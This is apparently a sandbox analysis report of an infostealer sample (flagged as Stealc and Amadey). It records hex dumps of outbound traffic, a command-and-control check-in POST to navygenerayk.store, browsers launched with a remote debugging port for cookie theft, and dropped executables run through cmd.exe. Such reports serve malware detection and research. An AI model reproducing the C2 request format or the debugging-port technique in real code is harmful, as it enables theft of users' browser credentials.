2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: d4 c5 7a 1c 55 99 a7 85 c7 23 b4 be e9 be 0a 30 09 6a a6 20 8a f8 41 b5 38 13 1c 47 b1 6f 5a 1c 0b fb 7f f2 0b 80 42 00 3c 57 ea 40 80 21 6f da 73 8e 3c 76 73 66 00 82 66 12 f3 1f a3 3a 15 b5 66 d6 26 9e 15 c0 4c 92 37 df 3a f2 16 0d ad 4b 67 43 a4 90 69 d9 76 1e 21 89 bc f8 2c 22 3b 9b 46 1e 93 41 73 54 6a 71 3f 90 7b b7 3c 1d 9e b7 44 f1 72 e3 55 11 40 73 97 f5 fc 4e b0 ae 92 71 2f a5 f9 83 46 22 e6 ff 6a 07 a5 fb e5 98 ed 4c ff de d0 63 92 08 f0 b0 43 d9 1c bb 72 12 ec 0f 6b 99 4f b0 4e 1b b1 c6 af e5 b3 c0 c0 6c 37 95 69 db f9 32 f8 d7 12 9f e7 3f 53 25 af 4e 85 9c 8a 43 19 d3 e5 cc 14 67 7c 48 85 cc 78 e6 3b ae e2 42 a5 f2 67 cd 4a 0c 76 be 33 51 10 42 e3 ad 0b e4 91 57 80 07 8d a7 0e f5 78 bd b8 f0 0c dc 0c ee 12 48 23 d1 22 66 8d b2 d8 fe df f4 a8 Data Ascii: zU#0j A8GoZB<W@!os<vsff:f&L7:KgCiv!,";FAsTjq?{<DrU@sNq/F"jLcCrkONl7i2?S%NCg\|Hx;BgJv3QBWxH#"f
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: cc dc 8c 6b 0e 83 11 90 ea ac 02 fa e5 6d 80 ed a6 21 e0 80 53 3c 02 1a 3c 88 f4 a6 c2 86 a9 1b 7d ce 96 0c 87 38 82 0e e7 09 6b e4 d8 89 c7 cd 3e 5f 3f df e6 a2 42 af 11 7c b2 29 d7 4f be 62 a1 01 0c 26 2c 12 e8 92 fb 28 29 28 b7 a4 33 d9 88 a5 67 59 bf 0e 96 af 23 35 af 07 01 13 16 f4 17 0c f8 16 b3 8c 73 88 62 1c 78 2a cc 4c 3e 44 5f 3e da 56 3c 34 99 73 13 cb 9c 24 cf c1 34 91 fc 9a 1a 7e 1a 7e f2 6b 7c 46 27 e3 4d d7 6a 59 aa 92 3b 82 e3 3c 69 af 66 06 bf 4a af 9f 7f 86 a3 7c 98 8e 2c 2b ba 59 6b 23 26 c7 20 a7 68 1d d8 26 61 c2 2d 28 9a 40 24 bc 98 e3 7c 89 98 ae 64 ea fa 76 25 dd 92 e9 5d f3 40 e1 98 e7 ad 0a 10 ff 92 e9 97 cb ce 82 87 40 21 c8 7c df 7d 67 4b 09 f2 94 dc 47 0e ac 1a 37 f8 72 6c 7f ac e4 d2 e1 92 f5 42 93 07 e4 5b 09 1e 38 70 5e da Data Ascii: km!S<<}8k>_?B\|)Ob&,()(3gY#5sbx*L>D_>V<4s$4~~k\|F'MjY;<ifJ\|,+Yk#& h&a-(@$\|dv%]@@!\|}gKG7rlB[8p^
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: e5 0d c4 fc 40 97 e9 31 56 d8 db d4 70 6b d0 71 cc db c0 81 b9 8d 92 dc 58 23 e5 0b b9 42 a5 63 c3 23 83 c2 71 60 38 ff d3 dd f5 7e 6d 03 1c 23 07 70 61 c4 c4 ed 78 32 b7 93 f0 8b 9d c2 12 c3 14 aa fb f4 84 79 5e f4 35 7b e3 f8 b7 63 05 5a ac 6d bf 92 b1 e7 bc 43 75 cf 38 ee 79 e5 e4 d1 5e b9 3d 1e c0 45 38 78 f3 21 2d 20 b6 52 db 26 eb 01 55 3c 92 49 5c ae 9f 99 f2 9f 12 b8 42 b2 c6 97 3b e3 17 48 ea 9d 7e 54 91 ad 59 37 65 c1 be ad 0e 89 91 c0 1a 04 fe 76 fd e5 dc ad 57 77 fd d2 c2 b8 c4 b0 6d 8d 33 e2 36 e1 b7 fb 39 9a 89 56 6f 4a 36 b7 b8 e9 a1 75 54 0f 7c 5b 1f a3 76 67 cd 2e 51 06 32 06 37 09 a3 ec f1 9e b4 8a 60 cd 07 c9 b1 de aa 65 1b 1a e4 44 ec 42 14 59 c1 3b cb 13 67 87 f5 84 4f e4 81 97 cd 84 4a 8a 33 47 b0 42 e5 12 3d 79 ac d3 e9 f3 0d 67 a8 Data Ascii: @1VpkqX#Bc#q`8~m#pax2y^5{cZmCu8y^=E8x!- R&U<I\B;H~TY7evWwm369VoJ6uT\|[vg.Q27`eDBY;gOJ3GB=yg
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: 19 42 a3 95 14 ad c7 ad 8d 2f 0b 8a b2 f5 3d e0 19 e5 88 22 3d d0 6f 8d f9 26 e3 67 ec a4 db 86 63 8c 22 fb a7 d7 9d 6f 67 60 7c 47 68 87 4e 37 52 1c a3 54 af 05 51 95 07 e6 1f 91 03 3b 18 28 28 2a e2 04 e8 b3 9d 56 cb 9d fe a6 a6 56 7c e8 8f e1 7f 7b ec 25 fe 6b ef c5 7f 6f 7e 44 bc 00 a2 bc fe 65 90 91 2d 96 d5 0d f1 55 ea 67 7e fd 51 0a 0f e1 ca 26 26 ef 29 90 3e d5 5a 7d 94 3f 81 e8 6b 61 b6 5b f4 52 3f ef 62 f7 af cc 3f a1 d4 2a d4 df 3c da 0c ec 17 8a 7a d9 1a 1e 31 43 d6 f6 b8 4d 94 e1 36 f1 6e 10 1c 27 ab 6c 72 22 e6 c6 34 77 67 69 de 2c 81 67 ae a5 ff a7 93 c3 f7 0d 8e 53 3a 0a 40 f8 5c f8 ad 13 ca 06 8f c5 64 28 af 74 ff 70 2a 29 78 19 69 4b a0 b4 62 44 28 79 c0 2a 4e 84 09 80 69 4b e1 7f 81 de 5e e1 82 a5 3b 38 ff be b7 c0 79 e6 f2 1f 0a 80 dc Data Ascii: B/="=o&gc"og`\|GhN7RTQ;((VV\|{%ko~De-Ug~Q&&)>Z}?ka[R?b?<z1CM6n'lr"4wgi,gS:@\d(tp)xiKbD(yNiK^;8y
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: d5 3f 68 ff f2 3e cd 21 cd e3 3e 7c e4 a6 f3 49 0a bf 04 5f 90 38 5a 87 99 38 35 b6 d7 a9 f7 f5 93 4c 75 28 4a 22 56 92 5b 37 db d8 6f 4e 95 5a ca 69 99 52 d1 50 a2 65 60 68 b0 fc 70 95 b4 ba 3e 65 de 77 eb 2d 3a a0 eb ad 2b 23 53 e0 fa 06 3d 23 3d ce 1f 13 dc 92 59 9f 59 11 ba bc c7 1b fa fb c9 3b 1b d8 b0 c3 47 1f 85 f1 0f 4e 71 c1 b0 42 ce 8d 8a 36 af ca fe 58 e2 b3 03 5e 5a 25 f1 9a b2 3a a7 75 35 51 6c 4f 69 4f 61 94 9c a8 c1 3f cb 60 7a 2b 50 86 d8 96 36 eb 28 b1 a2 00 f8 a9 40 d0 8f 17 5e da ea 83 82 8f a2 2c eb ea e7 02 0f b8 57 06 9e a5 af 13 38 0c 56 c9 ff d4 3d ed b9 2a 44 e0 55 9a 00 e0 4c 57 12 c9 6c 17 bf 66 48 07 32 da 29 e4 0d 17 4f 6e 31 7e ec a1 c7 a5 57 a7 ce 07 6a 69 32 ec c3 61 ab 96 82 d8 67 8c 9d a9 9c 77 3d 17 5e 06 c5 a2 d2 c4 42 Data Ascii: ?h>!>\|I_8Z85Lu(J"V[7oNZiRPe`hp>ew-:+#S=#=YY;GNqB6X^Z%:u5QlOiOa?`z+P6(@^,W8V=*DULWlfH2)On1~Wji2agw=^B
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: 56 cf 6a e2 4b 12 ae 9a 5d d1 59 e9 4c 7a bd 1b 59 95 00 bc ee 53 ca 29 b5 99 c3 06 f2 81 5f b4 6b 59 2e 71 df 89 ad f1 b9 dd 6b 39 19 43 09 53 37 b9 34 db a2 bb ed 0b 12 ba ce 5f 88 cd 02 c9 6b 2e 4f a4 2c 87 75 d9 96 49 b5 99 ea a2 4d 1f c8 de dc 48 c1 3c 6e 33 85 0d f4 3c 85 ca d3 8d c4 d7 a7 a4 87 7e bd 9e 78 fc 36 08 5b 63 91 68 c9 1e 84 2d ef d2 86 5d 5e 48 94 62 18 3f 2c ac 0d 13 e5 d1 ca bc 55 eb d9 04 27 1d 62 9a 9f 7c 12 d0 60 5f 2d 08 6e 2e 2c 1d de 2b e2 27 39 a5 85 10 25 21 75 6c 38 68 03 1e 81 d0 5a ee 5d cf 0d da 99 72 23 fd 68 fa 76 b9 0e ba 6c d6 94 f8 17 a2 2f 84 bb f8 1f 4d e6 f3 bb 38 f1 43 fa c7 65 04 64 f9 2c fe 94 dc b3 34 7d cc 0a 35 13 35 4f 36 d2 bd 54 96 0a 2f 10 2d 7f 2c 0e ed b2 be 0e 17 36 a6 db 78 73 d7 a4 b3 f9 fa 82 13 fb Data Ascii: VjK]YLzYS)_kY.qk9CS74_k.O,uIMH<n3<~x6[ch-]^Hb?,U'b\|`_-n.,+'9%!ul8hZ]r#hvl/M8Ced,4}55O6T/-,6xs
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: ea d6 d0 ef 54 a3 79 82 3e 22 7a d4 f0 a0 e4 89 18 ea 01 29 65 c3 84 41 9c 51 54 c0 6e 90 17 33 9d 55 7a 57 9f aa c4 0d 3a c8 8d 7b 12 a6 83 4d 10 e4 9b 4b 12 37 df d4 08 4a 32 99 25 b9 99 8d e6 b0 42 90 fe f4 40 95 1a ef 90 c7 a5 4f a8 b0 a9 f7 b4 9a cb 0f bb c4 e5 00 fb 45 4d f7 92 11 38 10 02 a7 0b 5b f4 4e cd 76 db a9 34 97 a2 30 fe 9f 69 34 df ef b7 4d a4 6b 62 3f 74 d9 bc 85 4e 4f 32 24 6d 75 f0 4d ca cb 53 2a 73 73 e7 3f 46 07 0b b1 69 da e4 34 9a c7 f3 f0 c9 d0 ba 2a fb 51 b7 77 59 a1 53 55 5f 0b 1f f4 ae 8d f2 5e 56 a2 6c f3 8f ee 7c 0f da 6f d3 c6 48 b2 f2 cd f3 c1 f9 43 89 c9 80 e0 b9 01 7d 43 39 03 7f 76 96 37 91 06 e4 3e 14 0f 43 27 ff 55 95 3d b0 e9 fe d7 0b be dd ba 97 35 5f 98 d2 7a 79 6a c4 de bf d0 58 d7 55 62 77 78 dc 4f ff 03 2e 67 d7 Data Ascii: Ty>"z)eAQTn3UzW:{MK7J2%B@OEM8[Nv40i4Mkb?tNO2$muMSss?Fi4QwYSU_^Vl\|oHC}C9v7>C'U=5_zyjXUbwxO.g
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: f7 4f 3b 28 63 90 b8 4e 4d e1 55 20 25 a3 1e e6 5d db 8a 1b 5e f9 f4 10 33 d0 cb 7d 71 e9 57 da 56 28 fa f5 22 a0 a5 34 79 6f 7e de 34 7d 92 18 6c cd 10 d9 d8 8b af d9 52 ee 44 9b 32 6f 0c bf d4 cd e1 c1 0a ac e3 59 f8 50 f5 32 7a 67 50 52 f0 b5 ef 8c d9 9b 68 e6 4f bf de c6 3a f8 32 9b 2a a6 90 39 65 bf 4d 33 da 2c 79 29 00 6a cc 00 4c b4 81 da 6f 89 4a 4a 46 84 df 51 61 e5 90 fe cd 14 54 42 6f 67 4d 8c 68 31 21 c2 b8 8f b4 60 4b 5a 3f 34 90 62 2f b0 87 8f 54 ee 44 a6 69 03 5c b0 d1 f1 96 c7 0e bd a3 8e bc 9f 78 49 68 37 56 aa 43 15 6f e3 4e 3f c0 4f b6 3d 6a 60 90 67 c0 fa f9 e3 fb 94 f4 cf dd 13 09 49 ec 60 47 05 b6 82 d7 35 33 33 f3 2f 65 dd 95 a6 68 23 fd b2 2c b1 53 71 e0 9e 89 74 29 25 5b 6b 38 bb 2c bc 41 e1 f8 fa 24 cc 7c 61 d6 e8 8e 3c c5 03 1d Data Ascii: O;(cNMU %]^3}qWV("4yo~4}lRD2oYP2zgPRhO:2*9eM3,y)jLoJJFQaTBogMh1!`KZ?4b/TDi\xIh7VCoN?O=j`gI`G533/eh#,Sqt)%[k8,A$\|a<
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: 0a c2 ba ec 0a a5 ba a6 71 82 9e 66 e0 19 56 46 73 e4 8a 98 97 a1 9b 41 a4 18 d8 8f 8c a0 75 81 62 8a 9b ed a1 e7 95 b3 17 6b 4a c5 73 ac 5b 11 14 21 c1 a7 dd 42 70 9e 18 81 c1 1f 60 a5 bb 83 cd f9 ed 77 a2 fd af ae 46 49 47 12 a3 bf c7 83 df bb 8b 4c b2 db a2 81 f6 68 44 1b 52 03 af eb 85 04 bc c0 1b 65 95 f7 64 f8 35 72 17 5c 6b 86 ba db b2 15 87 c6 90 7a d8 b1 45 05 6e 38 e7 1d ba 76 1c d5 62 ee 61 b2 b8 1b f5 83 c1 63 89 cf 9f fc 6e 12 65 e3 6b 2c 6b bb 45 42 fc 62 07 21 44 13 17 08 41 83 5d b2 33 12 7f a2 5d 7e 8b 44 15 39 c5 2a ce 70 90 12 ca 45 5a 4a b7 5f 75 19 5a 7f 6b 56 5c 62 d6 fb 82 54 b3 1e 12 41 ae cb c7 d2 63 04 29 3e 93 4c 5a 4c cf 13 d0 e1 91 35 64 11 c2 c7 db 35 38 9c 5b 8e d4 c6 ec 7a 7c fa 7c bd a8 eb 93 fd 6f 79 2f e2 f1 a9 ee bc 38 Data Ascii: qfVFsAubkJs[!Bp`wFIGLhDRed5r\kzEn8vbacnek,kEBb!DA]3]~D9*pEZJ_uZkV\bTAc)>LZL5d58[z\|\|oy/8
2024-11-08 14:22:39 UTC	1027	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hv4pkv9ed7ql6k4d42pmsii4oo; expires=Tue, 04-Mar-2025 08:09:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YmHqmCuQ4ZvVcUUd4XSUGVwZmWxcCj%2FV9djHPCuynac3Hi3SQ%2B3ntBdqTLC98D4QdP7Eixw8KNtQmP65kQou%2FNUD%2B9dhapGxFKtrzY8jlJ8c4X%2F5dulXGdwupJv4HU4X36SN%2F3I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df6375e7a4d2e78-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1386&sent=152&recv=421&lost=0&retrans=0&sent_bytes=2846&recv_bytes=391442&delivery_rate=2042313&cwnd=232&unsent_bytes=0&cid=f303bfff700bddd7&ts=1624&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	49900	188.114.96.3	443	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:40 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: navygenerayk.store
2024-11-08 14:22:40 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=2F61B1A524C035414E953C988E5C1F0B
2024-11-08 14:22:40 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=um11karcrm15bgeesee9lkad7a; expires=Tue, 04-Mar-2025 08:09:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U%2BZCXZIdrWXRthgQ7ezUt0U7kycJRx38bUiVd%2BrnHJtaeF3%2F3E5blfgUWCYL8XPDGLsASqm3Hy%2F%2FdYPNLw487EsKokE9ytQbkROsy8%2FZbh0a2tKjgOMHtZqoe3Zy7Ufr7M6A4m4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df6376ccdede518-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1128&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2601976&cwnd=32&unsent_bytes=0&cid=06cd7ded7abed11a&ts=494&x=0"
2024-11-08 14:22:40 UTC	214	IN	Data Raw: 64 30 0d 0a 58 59 73 34 50 5a 59 74 58 51 50 59 58 31 63 47 75 6d 31 31 59 4c 6e 69 4c 4d 58 78 37 69 48 54 61 74 48 2f 78 77 48 70 61 42 41 47 38 42 70 49 74 42 64 2f 61 36 77 72 4a 7a 7a 6d 51 69 6c 50 69 4e 6f 5a 36 38 50 66 46 50 31 62 34 4d 7a 70 4d 4e 38 30 50 79 37 2f 58 56 7a 37 63 58 4a 78 75 54 45 7a 61 64 64 44 45 42 6a 63 77 41 44 6e 6c 35 6f 44 36 56 72 39 33 61 49 6a 30 31 6c 74 63 66 41 61 53 4c 51 58 66 32 75 73 4b 79 63 38 35 6b 49 70 54 34 6a 61 47 65 76 44 33 78 54 39 57 2b 44 4d 36 54 44 66 4e 44 38 79 37 56 35 68 75 55 6b 34 5a 66 59 36 4c 32 4f 59 51 56 63 47 7a 63 41 57 39 64 33 4d 52 50 46 51 34 49 4b 61 0d 0a Data Ascii: d0XYs4PZYtXQPYX1cGum11YLniLMXx7iHTatH/xwHpaBAG8BpItBd/a6wrJzzmQilPiNoZ68PfFP1b4MzpMN80Py7/XVz7cXJxuTEzaddDEBjcwADnl5oD6Vr93aIj01ltcfAaSLQXf2usKyc85kIpT4jaGevD3xT9W+DM6TDfND8y7V5huUk4ZfY6L2OYQVcGzcAW9d3MRPFQ4IKa
2024-11-08 14:22:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:20:34
Start date:	08/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc70000
File size:	2'125'312 bytes
MD5 hash:	3BBAAF5B9F7EA350480F38F3477B2BDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2027401280.000000000198E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1422553388.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2025550529.0000000000C71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:20:42
Start date:	08/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:20:43
Start date:	08/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2288,i,486927010696589672,1733184078241885908,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:20:56
Start date:	08/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:20:58
Start date:	08/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2652 --field-trial-handle=2408,i,6641453061144022291,10834478853577902840,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:20:58
Start date:	08/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:20:59
Start date:	08/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:21:04
Start date:	08/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:21:04
Start date:	08/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7012 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:21:33
Start date:	08/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGHJKFHJJJ.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:21:33
Start date:	08/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:21:33
Start date:	08/11/2024
Path:	C:\Users\user\DocumentsEGHJKFHJJJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsEGHJKFHJJJ.exe"
Imagebase:	0xf90000
File size:	3'283'968 bytes
MD5 hash:	3F37F3ED555BA8CB563F1C44D48F7DC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2078054649.0000000000F91000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:21:38
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x850000
File size:	3'283'968 bytes
MD5 hash:	3F37F3ED555BA8CB563F1C44D48F7DC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2683778319.0000000000851000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	09:21:38
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x850000
File size:	3'283'968 bytes
MD5 hash:	3F37F3ED555BA8CB563F1C44D48F7DC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2132538319.0000000000851000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:21:54
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe"
Imagebase:	0x4b0000
File size:	3'204'096 bytes
MD5 hash:	7AC86C152BAC1FB0212A7FF9087A26E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2567939622.00000000062E1000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2495407278.0000000008880000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:21:59
Start date:	08/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5936 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	09:22:01
Start date:	08/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
